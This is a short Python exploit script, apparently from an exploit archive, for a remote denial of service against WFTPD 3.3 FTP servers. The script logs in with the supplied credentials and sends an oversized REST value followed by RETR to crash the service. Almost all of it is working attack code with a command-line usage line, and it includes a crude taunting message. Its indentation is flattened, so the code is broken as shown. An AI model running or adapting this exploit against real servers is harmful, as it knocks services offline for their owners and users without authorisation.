WFTPD 3.3 Remote Denial Of Service

`# WFTPD 3.3 unhandled exception  
#  
# (x)dmnt 2010  
# -*- coding: windows-1252 -*-  
  
import socket  
import sys, time  
  
  
def help_info():  
print ("Usage: wftpdkill <host> <login> <password> <existingfle>\n")  
  
def dos_it(hostname, username, passwd, exfile):  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
try:  
sock.connect((hostname, 21))  
except:  
print ("[-] Connection error!")  
sys.exit(1)  
r=sock.recv(2048)  
print "[+] Connected"  
sock.send("user %s\r\n" %username)  
r=sock.recv(1024)  
time.sleep(3)  
sock.send("pass %s\r\n" %passwd)  
r=sock.recv(1024)  
print "Send evil commands"  
time.sleep(3)  
sock.send("pasv\r\n")  
r=sock.recv(1024)  
time.sleep(3)  
sock.send("rest 999999999999999999999999999999999999999999999999999999999999999999\r\n")  
r=sock.recv(1024)  
time.sleep(3)  
sock.send("retr %s\r\n" %exfile)  
time.sleep(3)  
sock.send("Burn, muthfcka, burn!\r\n")  
sock.close()  
print "Server killed\r\n"  
  
print ("\nWFTPD 3.3 remote DoS exploit")  
  
if len(sys.argv) < 5:  
help_info()  
sys.exit(1)  
  
else:  
hostname=sys.argv[1]  
username=sys.argv[2]  
passwd=sys.argv[3]  
exfile=sys.argv[4]  
dos_it(hostname,username,passwd,exfile)  
sys.exit(0)  
`